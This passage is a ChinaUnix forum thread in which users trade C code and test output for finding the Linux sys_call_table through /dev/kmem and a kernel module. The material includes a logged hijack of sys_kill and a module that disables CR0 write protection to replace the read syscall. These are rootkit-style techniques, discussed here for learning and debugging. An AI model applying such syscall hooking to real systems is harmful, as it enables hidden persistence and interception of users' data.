14.     unsigned short limit;
    
15. 
    
16.     unsigned int base;
    
17. 
    
18. } __attribute__ ((packed)) idtr;    //这个结构表示IDTR寄存器，这个寄存器中保存中断描述符表 的地址
    
19. 
    
20. 
    
21. struct {
    
22. 
    
23.     unsigned short off1;
    
24. 
    
25.     unsigned short sel;
    
26. 
    
27.     unsigned char none,flags;
    
28. 
    
29.     unsigned short off2;
    
30. 
    
31. } __attribute__ ((packed)) idt;    //中断描述符表中的内容：中断门描述符
    
32. 
    
33. 
    
34. unsigned int old_readkmem (int fd, void * buf,size_t off,unsigned int size) //用read方式读取kmem中一定长度内容
    
35. 
    
36. {
    
37. 
    
38.     if (lseek(fd, off,SEEK_SET)!=off)
    
39.     {
    
40. 
    
41.         //perror("fd lseek");
    
42.         return 0;
    
43.     }
    
44. 
    
45.     if (read(fd, buf,size)!=size)
    
46.     {
    
47. 
    
48.         //perror("fd read");
    
49.         return 0;
    
50.     }
    
51. 
    
52. }
    
53. 
    
54. 
    
55. unsigned long  readkmem (int fd, void * buf, size_t off, unsigned int size)//用mmap方式从kmem中读取一定长度内容
    
56. {
    
57.     size_t    moff, roff;
    
58.     size_t     sz = getpagesize();
    
59.    
    
60.     char * kmap;
    
61.    
    
62.     unsigned long  ret_old = old_readkmem(fd, buf, off, size); //先用老方法读取,不行再用mmap
    
63.     if (ret_old != 0)
    
64.         return ret_old;
    
65.    
    
66.     moff = ((size_t)(off/sz)) * sz;      
    
67.     roff = off - moff;   
    
68.    
    
69.     kmap = mmap(0, size+sz, PROT_READ, MAP_PRIVATE, fd, moff);
    
70.    
    
71.     if (kmap == MAP_FAILED)
    
72.     {
    
73.         perror("readkmem: mmap");
    
74.         return 0;
    
75.     }
    
76.    
    
77.     memcpy (buf, &kmap[roff], size);
    
78.    
    
79.     if (munmap(kmap, size) != 0)
    
80.     {
    
81.         perror("readkmem: munmap");
    
82.         return 0;
    
83.     }
    
84.    
    
85.     return size;
    
86. }
    
87. 
    
88. int main (int argc, char **argv)
    
89. 
    
90. {
    
91. 
    
92.     unsigned sys_call_off;
    
93. 
    
94.     int kmem_fd;    // /dev/kmem文件描述符
    
95. 
    
96.     unsigned sct;
    
97. 
    
98.     char sc_asm[CALLOFF],*p;
    
99. 
    
100.    
     
101.         /* 获得IDTR寄存器的值 */
     
102. 
     
103.     asm ("sidt %0" : "=m" (idtr));
     
104. 
     
105.     printf("idtr base at 0x%X\n",(int)idtr.base);
     
106. 
     
107.    
     
108.         /* 打开kmem */
     
109. 
     
110.     kmem_fd = open ("/dev/kmem",O_RDONLY);
     
111. 
     
112.     if (kmem_fd<0) return 1;
     
113. 
     
114.    
     
115.         /* 从IDT读出0x80向量 (syscall) */
     
116. 
     
117.     readkmem (kmem_fd, &idt,idtr.base+8*0x80,sizeof(idt)); //idtr.base+8*0x80 表示80中断描述符的偏移
     
118. 
     
119.     sys_call_off = (idt.off2 << 16) | idt.off1;        //idt.off2 表示地址的前16位，得到syscall地址
     
120. 
     
121.     printf("idt80: flags=%X sel=%X off=%X\n", (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);
     
122. 
     
123.    
     
124.         /* 寻找sys_call_table的地址 */
     
125. 
     
126.     readkmem (kmem_fd, sc_asm,sys_call_off,CALLOFF);      
     
127. 
     
128.     p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);  //只要找到邻近int $0x80入口点system_call的call sys_call_table(,eax,4)指令的机器指令就可以了,call something(,eax,4)指令的机器码是0xff 0x14 0x85，因此搜索这个字符串。
     
129. 
     
130.     sct = *(unsigned*)(p+3); //sys_call_table地址就在0xff 0x14 0x85之后
     
131. 
     
132.     if (p)
     
133.     {
     
134. 
     
135.         printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p);
     
136. 
     
137.     }
     
138. 
     
139.     close(kmem_fd);
     
140.     return 0;
     
141. }

复制代码

---

作者: CUDev    时间: 2009-10-20 10:06
标题: debian lenny 2.6.26-2-686测试结果
测试代码，都可以在
http://blog.chinaunix.net/u/12592/showart_1903466.html

测试结果，/dev/kmem和lkm方式获得的sys_call_table的地址是一样的
/dev/kmem测试：

idtr base at 0xC036C000
idt80: flags=EF sel=60 off=C010388C
sys_call_table at 0xc02bfaa0, call dispatch at 0xbf8debae
addr(__kmalloc): c0171d25
kmalloc: 0xc0171d25
Old sys_uname: 0xc012df46
off: 0xc02bfc88
write: 4
Now sys_uname: 0xc0171d25
off: 0xc02bfc88
write: 4
Kernel Space allocation: 0xf6d12440
Write Kill Opcode To Kernel Buf.
addr(u per_cpu__current_task): c03b4000
addr(sys_kill): c012ba45
off: 0xf6d12440
write: 85
Write Opcode Successed!
off: 0xc02bfb34
write: 4
hijack sys_kill from 0xc012ba45[-1072514491] to 0xf6d12440[-154065856]
###NOTES to recovery sys_kill.

lkm测试：

debian-wangyao:/home/wangyao/Documents/Reports/rootkit_report/0802/code/others/print_sys_call_table# tail /var/log/kern.log
Oct 20 09:59:35 debian-wangyao kernel: [   78.431383] CPU1 attaching NULL sched-domain.
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454] CPU0 attaching sched-domain:
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454]  domain 0: span 0-1
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454]   groups: 0 1
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454] CPU1 attaching sched-domain:
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454]  domain 0: span 0-1
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454]   groups: 1 0
Oct 20 10:02:27 debian-wangyao kernel: [  252.056927] system_call: 0xc010388c
Oct 20 10:02:27 debian-wangyao kernel: [  252.056927] Here Find sys_call_table: 0xc01038ca
Oct 20 10:02:27 debian-wangyao kernel: [  252.056927] sys_call_table: 0xc02bfaa0

---

作者: W.Z.T    时间: 2009-10-20 10:19
2.6.x以后 kmem都没了， mem都不让写了， 别搞这些了， 有时间多搞搞lkm的吧

---

作者: Godbach    时间: 2009-10-20 10:19
标题: 回复 #27 CUDev 的帖子
CUDev兄，你测试一下我在22楼的代码

---

作者: CUDev    时间: 2009-10-20 10:23
标题: 回复 #26 Godbach 的帖子
不好意思，那个帖中的代码有些问题，已经更正了。
http://blog.chinaunix.net/u/12592/showart_1421096.html

[ 本帖最后由 CUDev 于 2009-10-20 10:26 编辑 ]

---

作者: Godbach    时间: 2009-10-20 10:24
这是我执行/dev/kmem的结果

[root@localhost misc-progs]# ./a.out
idtr base at 0xFFC18000, limit at 0x7FF
idt80: flags=0 sel=0 off=0
readkmem: mmap: Input/output error
Segmentation fault
[root@localhost misc-progs]#

以下是LKM的结果，代码是22楼的

Oct 20 10:18:41 localhost kernel: syscall intercept: Hi, poor linux!
Oct 20 10:18:41 localhost kernel: intercept: function:get_sys_call_table-L196: idtr base at 0xC12B2000, limit at 0x7FF
Oct 20 10:18:41 localhost kernel: intercept: function:get_sys_call_table-L204: idt80: flags=EF sel=60 off=C1003CC4
Oct 20 10:18:41 localhost kernel: intercept: function:get_sys_call_table-L220: sys_call_table at 0xc11f14e0, call dispatch at 0xc3eadeaa
Oct 20 10:18:41 localhost kernel: intercept: function:intercept_init-L276: sys call table address c11f14e0
Oct 20 10:18:41 localhost kernel: intercept: function:new_open-L234: call open()
Oct 20 10:18:45 localhost last message repeated 19 times
Oct 20 10:18:45 localhost kernel: syscall intercept: bye, poor linux!

---

作者: CUDev    时间: 2009-10-20 10:29
看结果/dev/kmem输出是不对的。

---

作者: Godbach    时间: 2009-10-20 10:31
标题: 回复 #32 CUDev 的帖子
现在获得的idtr.base正确了吗

---

作者: Godbach    时间: 2009-10-20 10:36
其实这个地方你的测试例程和我22的LKM得到的idtr.base不一致，是在代码比较靠前的部分，也就是执行指令sidt的结果不一致

int main (int argc, char **argv)
{
unsigned sys_call_off;
int kmem_fd;  // /dev/kmem文件描述符
unsigned sct;
char sc_asm[CALLOFF],*p;

/* 获得IDTR寄存器的值 */
asm ("sidt %0" : "=m" (idtr));
printf("idtr base at 0x%X\n",(int)idtr.base);

---

作者: CUDev    时间: 2009-10-20 10:37
标题: 回复 #33 Godbach 的帖子
也不太对，你试一下
http://blog.chinaunix.net/u/12592/showart_1421096.html
中的/dev/kmem的代码。

BTW：你的测试环境是什么？

---

作者: Godbach    时间: 2009-10-20 10:39

原帖由 CUDev 于 2009-10-20 10:37 发表
也不太对，你试一下
http://blog.chinaunix.net/u/12592/showart_1421096.html
中的/dev/kmem的代码。

BTW：你的测试环境是什么？

我测试的/dev/kmem提示的错误就和上面我贴出的一样，估计是/dev/kmem不让操作。

但是我觉得应该不会影响前面sidt的结果吧。

我的测试环境是用的RHEL 5.2.然后自己编译的内核2.6.18.3

---

作者: CUDev    时间: 2009-10-20 10:43
恩，RH系列的发行版，应该都是禁掉/dev/kmem的，我这边的RHEL5，就没有没有/dev/kmem这个设备。

---

作者: Godbach    时间: 2009-10-20 10:48

原帖由 CUDev 于 2009-10-20 10:43 发表
恩，RH系列的发行版，应该都是禁掉/dev/kmem的，我这边的RHEL5，就没有没有/dev/kmem这个设备。

我这里有/dev/kmem，但是不让读取
[root@localhost ~]# cat /dev/kmem
cat: /dev/kmem: Bad address

---

作者: Godbach    时间: 2009-10-20 10:49

原帖由 CUDev 于 2009-10-20 10:43 发表
恩，RH系列的发行版，应该都是禁掉/dev/kmem的，我这边的RHEL5，就没有没有/dev/kmem这个设备。

会不会是因为/dev/kmem不让读取，导致用户空间sidt执行的结果也不对。

你测试的情况，LKM的方式和应用程序的方式得到的idtr.base是不是也不一样？

---

作者: CUDev    时间: 2009-10-20 10:51
标题: 回复 #38 Godbach 的帖子
可以看一下kernel log的输出，在后面的版本中已经增加了对/dev/kmem和/dev/mem的访问控制。具体代码，可以查看drivers/char/mem.c

---

作者: Godbach    时间: 2009-10-20 11:03
标题: 回复 #40 CUDev 的帖子
看一下我39楼的问题

---

作者: Godbach    时间: 2009-10-20 11:11
标题: 回复 #40 CUDev 的帖子
刚刚看了你博客上一篇文章《通过/dev/mem进行恶意代码注入》：
在大多数的虚拟机中将无法顺利的读取IDTR。因为lidt指令是一个特权指令，将会产生一个异常，并被VM所捕获。这样可以使VM为每一个操作系统维持一个虚拟的IDTR。因为sidt指令没有被处理，它将会返回一个伪造的IDTR地址，通常会大于0xFFC00000。

我测试的环境是虚拟机，要是按照上面的说法，用户控件的sidt指令估计没有被处理，返回的idtr是不真实的。而且也就是大于0xFFC00000。我切换到物理机测试一下。

---

作者: Godbach    时间: 2009-10-20 11:50

在大多数的虚拟机中将无法顺利的读取IDTR。因为lidt指令是一个特权指令，将会产生一个异常，并被VM所捕获。这样可以使VM为每一个操作系统维持一个虚拟的IDTR。因为sidt指令没有被处理，它将会返回一个伪造的IDTR地址，通常会大于0xFFC00000。

经过物理机上测试，我在22楼的LKM代码和CUDev兄的应用空间代码的测试结果一致，也正好验证了虚拟机上无法顺利读取IDTR的情况。

呵呵，这个问题也算有结果了。

---

作者: CUDev    时间: 2009-10-20 12:24
标题: 回复 #42 Godbach 的帖子
汗！原来你是在虚拟机里面做测试啊

---

作者: Godbach    时间: 2009-10-20 13:20
标题: 回复 #44 CUDev 的帖子
呵呵，是啊。

以后再说测试环境的时候，若是虚拟机，我会记得说明的。有些内核的测试，虚拟机和物理机会有很大区别的。

---

作者: zw2002    时间: 2009-10-28 09:28
收藏，学习中。

---

作者: 空灵静世    时间: 2009-10-28 09:58
看错了

[ 本帖最后由 空灵静世 于 2009-10-28 10:11 编辑 ]

---

作者: 空灵静世    时间: 2009-10-28 10:07
看下我的问题，我的代码试图替换read系统调用，但insmod之后，体统会回到login界面，然后一直提示错误的文件描述符，为什么？代码如下
#include <linux/fs.h>
#include <linux/unistd.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h>
int errno;
int orig_cr0;
static inline _syscall3(ssize_t,read,int,fd,void*,buf,size_t,count);
static inline _syscall3(ssize_t,write,int,fd,void*,buf,size_t,count);
int (*original_read)(int,void *,size_t);
int (*original_write)(int ,void *,size_t);
struct {
        unsigned short limit;
        unsigned int base;
}__attribute__((packed)) idtr;
struct {
        unsigned short off1;
        unsigned short sel;
        unsigned char none,flagg;
        unsigned short off2;
}__attribute__((packed)) idt;

unsigned int clear_and_return_cr0(void)
{
    unsigned int cr0 = 0;
    unsigned int ret;

    asm volatile ("movl %%cr0, %%eax"
            : "=a"(cr0)
         );
    ret = cr0;

    /*clear the 20th bit of CR0,*/
    cr0 &= 0xfffeffff;
    asm volatile ("movl %%eax, %%cr0"
            :
            : "a"(cr0)
         );
    return ret;
}
void setback_cr0(unsigned int val)
{
    asm volatile ("movl %%eax, %%cr0"
            :

            : "a"(val)
         );
}

void ** get_sys_call_table(void){
        unsigned int sys_call_off;
        unsigned int sys_call_table;
        unsigned char *p;
        int i;
        asm("sidt %0":"=m"(idtr));
        printk("addr of idtr:%x\n",&idtr);

        memcpy(&idt,(void *)(idtr.base+8*0x80),sizeof(idt));
        sys_call_off = (idt.off2<< 16|idt.off1);
        printk("addr of idt ox80:%x\n",sys_call_off);
        p =(unsigned char *)sys_call_off;
        for (i=0;i<100;i++){
                if (p==0xff && p[i+1]==0x14 && p[i+2] == 0x85){
                        sys_call_table = *(unsigned int *)(p+i+3);
                        printk("i:[%d],addr of sys_call_table:%x\n",i,sys_call_table);
                        return sys_call_table;
                }
        }
        return (void **)0;
}

int mystrncmp(char *str1,char *str2,int len){
        int index = 0 ;
        for (;index < len && *str1 && *str2;index++){
                if (*(str1++) != *(str2++))
                        return -1;
        }
        if (index >=len)
                return 0;
        return -1;
}
int hacked_read(int fd,char *buf,size_t count){
        int res = original_read(fd,buf,count); //与int res = (*original_read)(fd,buf,count);情况相同
        return res;

}
int hacked_write(int fd,char *buf,size_t count){
        int res = 0;
/*      if (mystrncmp(buf,"zhzh",4)){
                buf[0] = 'a';
                buf[1] = 'b';
                buf[2] = 'c';
                buf[3] = 'd';
        }
*/
        res = original_write(fd,buf,count);
        return res;

}
int init_module(void){
        void **sys_call_table = get_sys_call_table();
        original_read = sys_call_table[__NR_read];
        original_write = sys_call_table[__NR_write];
        orig_cr0 = clear_and_return_cr0();
        sys_call_table[__NR_read]= hacked_read;
//      sys_call_table[__NR_write]= hacked_write;
        setback_cr0(orig_cr0);
        return 0;
}

void cleanup_module(void)

{       void **sys_call_table = get_sys_call_table();
        orig_cr0 = clear_and_return_cr0();
        sys_call_table[__NR_read] = original_read;
//      sys_call_table[__NR_write] = original_write;
        setback_cr0(orig_cr0);
}

[ 本帖最后由 空灵静世 于 2009-10-28 10:18 编辑 ]

---

作者: Godbach    时间: 2009-10-28 10:20

1. int (*original_read)(int,void *,size_t);
   
2. int (*original_write)(int ,void *,size_t);

复制代码

内核中的read和wirte的接口就是你上面所列出的吗？

---

作者: 空灵静世    时间: 2009-10-28 10:36
谢谢楼上的，是这个出错了^_^

---

作者: g84ch    时间: 2009-11-10 12:16
一直忙着找工作，好久没来了，呵呵，又讨论出这么多东西啊。。。学习学习～～～

---

作者: hacktao    时间: 2009-11-27 21:14
来学习下！

---

作者: snoopy3810    时间: 2009-11-29 16:45
非常感谢楼主所提供的代码，以及楼上所有人的回复，还有很多东西要学，很多路要走啊，赞cu ：）

---

作者: wayling    时间: 2010-08-28 13:46
借问一下 0xff , 0x14 , 0x85是什么东西阿？？

THX

---

作者: Godbach    时间: 2010-08-28 14:28
就是执行调用时的call指令，后面跟着的参数就是系统调用表。

---

作者: Godbach    时间: 2010-08-28 14:29
当时我也看了一些系统劫持调用的东西，以及参考LZ的，进行了一些实践和总结。
可以看一下这篇文章
Linux下实现劫持系统调用的总结

---

欢迎光临 Chinaunix (http://bbs.chinaunix.net/)

Powered by Discuz! X3.2